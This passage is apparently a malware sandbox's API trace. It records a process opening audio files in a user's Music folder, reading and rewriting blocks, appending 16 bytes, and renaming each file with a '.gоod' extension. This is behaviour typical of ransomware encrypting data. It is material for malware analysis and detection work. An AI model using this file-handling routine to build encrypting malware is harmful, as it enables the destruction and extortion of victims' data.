lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a.gоod", lpFilePart=0x0) returned 0x57 [0221.715] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0221.715] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80b671a0, ftCreationTime.dwHighDateTime=0x1d4c5c0, ftLastAccessTime.dwLowDateTime=0x232bd770, ftLastAccessTime.dwHighDateTime=0x1d4cee7, ftLastWriteTime.dwLowDateTime=0x805e7182, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa8d9)) returned 1 [0221.715] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0221.715] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Da8pnCpcp.m4a.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\da8pncpcp.m4a.gоod")) returned 1 [0221.716] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", lpFilePart=0x0) returned 0x5c [0221.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0221.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), fInfoLevelId=0x0, lpFileInformation=0x373f218 | out: lpFileInformation=0x373f218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde7d9e0, ftCreationTime.dwHighDateTime=0x1d4c5c3, ftLastAccessTime.dwLowDateTime=0x186a88c0, ftLastAccessTime.dwHighDateTime=0x1d4c6f1, ftLastWriteTime.dwLowDateTime=0x186a88c0, ftLastWriteTime.dwHighDateTime=0x1d4c6f1, nFileSizeHigh=0x0, nFileSizeLow=0x15690)) returned 1 [0221.716] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0221.716] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", lpFilePart=0x0) returned 0x5c [0221.716] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.716] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.717] GetFileType (hFile=0x828) returned 0x1 [0221.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.717] GetFileType (hFile=0x828) returned 0x1 [0221.717] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0221.717] ReadFile (in: hFile=0x828, lpBuffer=0x373f6b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x373f6b0*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0221.718] CloseHandle (hObject=0x828) returned 1 [0221.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", lpFilePart=0x0) returned 0x5c [0221.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.718] GetFileType (hFile=0x828) returned 0x1 [0221.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.718] GetFileType (hFile=0x828) returned 0x1 [0221.718] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x15690 [0221.718] WriteFile (in: hFile=0x828, lpBuffer=0x3740988*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3740988*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0221.718] CloseHandle (hObject=0x828) returned 1 [0221.718] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", lpFilePart=0x0) returned 0x5c [0221.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.718] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.719] GetFileType (hFile=0x828) returned 0x1 [0221.719] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.719] GetFileType (hFile=0x828) returned 0x1 [0221.719] ReadFile (in: hFile=0x828, lpBuffer=0x3742c88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3742c88*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0221.969] CloseHandle (hObject=0x828) returned 1 [0221.969] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", lpFilePart=0x0) returned 0x5c [0221.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.970] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.970] GetFileType (hFile=0x828) returned 0x1 [0221.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.970] GetFileType (hFile=0x828) returned 0x1 [0221.970] WriteFile (in: hFile=0x828, lpBuffer=0x36bc390*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x36bc390*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0221.970] CloseHandle (hObject=0x828) returned 1 [0221.970] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav", lpFilePart=0x0) returned 0x5c [0221.970] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav.gоod", lpFilePart=0x0) returned 0x61 [0221.970] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0221.970] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde7d9e0, ftCreationTime.dwHighDateTime=0x1d4c5c3, ftLastAccessTime.dwLowDateTime=0x186a88c0, ftLastAccessTime.dwHighDateTime=0x1d4c6f1, ftLastWriteTime.dwLowDateTime=0x808498cb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x156a0)) returned 1 [0221.970] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0221.970] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\Dj8alt1vK6keTgiBscd.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\dj8alt1vk6ketgibscd.wav.gоod")) returned 1 [0221.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", lpFilePart=0x0) returned 0x58 [0221.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0221.971] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3871090 | out: lpFileInformation=0x3871090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7049670, ftCreationTime.dwHighDateTime=0x1d4cc02, ftLastAccessTime.dwLowDateTime=0x561375b0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0x561375b0, ftLastWriteTime.dwHighDateTime=0x1d4c656, nFileSizeHigh=0x0, nFileSizeLow=0x10a50)) returned 1 [0221.971] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0221.971] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", lpFilePart=0x0) returned 0x58 [0221.971] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.971] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.971] GetFileType (hFile=0x828) returned 0x1 [0221.972] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.972] GetFileType (hFile=0x828) returned 0x1 [0221.972] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0221.972] ReadFile (in: hFile=0x828, lpBuffer=0x3871508, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3871508*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0221.972] CloseHandle (hObject=0x828) returned 1 [0221.972] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", lpFilePart=0x0) returned 0x58 [0221.972] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.973] GetFileType (hFile=0x828) returned 0x1 [0221.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.973] GetFileType (hFile=0x828) returned 0x1 [0221.973] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x10a50 [0221.973] WriteFile (in: hFile=0x828, lpBuffer=0x38727d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x38727d0*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0221.973] CloseHandle (hObject=0x828) returned 1 [0221.973] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", lpFilePart=0x0) returned 0x58 [0221.973] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0221.973] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0221.973] GetFileType (hFile=0x828) returned 0x1 [0221.973] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0221.973] GetFileType (hFile=0x828) returned 0x1 [0221.973] ReadFile (in: hFile=0x828, lpBuffer=0x3874ac0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3874ac0*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0222.418] CloseHandle (hObject=0x828) returned 1 [0222.418] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", lpFilePart=0x0) returned 0x58 [0222.418] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0222.418] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0222.419] GetFileType (hFile=0x828) returned 0x1 [0222.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0222.419] GetFileType (hFile=0x828) returned 0x1 [0222.419] WriteFile (in: hFile=0x828, lpBuffer=0x3475cc0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x3475cc0*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0222.419] CloseHandle (hObject=0x828) returned 1 [0222.419] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3", lpFilePart=0x0) returned 0x58 [0222.419] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3.gоod", lpFilePart=0x0) returned 0x5d [0222.419] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0222.419] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7049670, ftCreationTime.dwHighDateTime=0x1d4cc02, ftLastAccessTime.dwLowDateTime=0x561375b0, ftLastAccessTime.dwHighDateTime=0x1d4c656, ftLastWriteTime.dwLowDateTime=0x80c9bc76, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x10a60)) returned 1 [0222.419] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0222.419] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\LvrKJ1kOrmrqVPw.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\lvrkj1kormrqvpw.mp3.gоod")) returned 1 [0222.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", lpFilePart=0x0) returned 0x59 [0222.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0222.420] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), fInfoLevelId=0x0, lpFileInformation=0x35ff588 | out: lpFileInformation=0x35ff588*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64201d70, ftCreationTime.dwHighDateTime=0x1d4d07e, ftLastAccessTime.dwLowDateTime=0xdcee5c00, ftLastAccessTime.dwHighDateTime=0x1d4d522, ftLastWriteTime.dwLowDateTime=0xdcee5c00, ftLastWriteTime.dwHighDateTime=0x1d4d522, nFileSizeHigh=0x0, nFileSizeLow=0x7c69)) returned 1 [0222.420] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0222.420] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav", lpFilePart=0x0) returned 0x59 [0222.420] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0222.420] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\WXbSdtcBNJoS7VsTq6g5\\n58LGBxpQrYQ Cq6.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\wxbsdtcbnjos7vstq6g5\\n58lgbxpqryq cq6.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0222.420] GetFileType (hFile=0x828) returned 0x1 [0222.421] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0222.421] GetFileType (hFile=0x828) returned 0x1 [0222.421] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0222.421] ReadFile (in: hFile=0x828, lpBuffer=0x35ffa10, 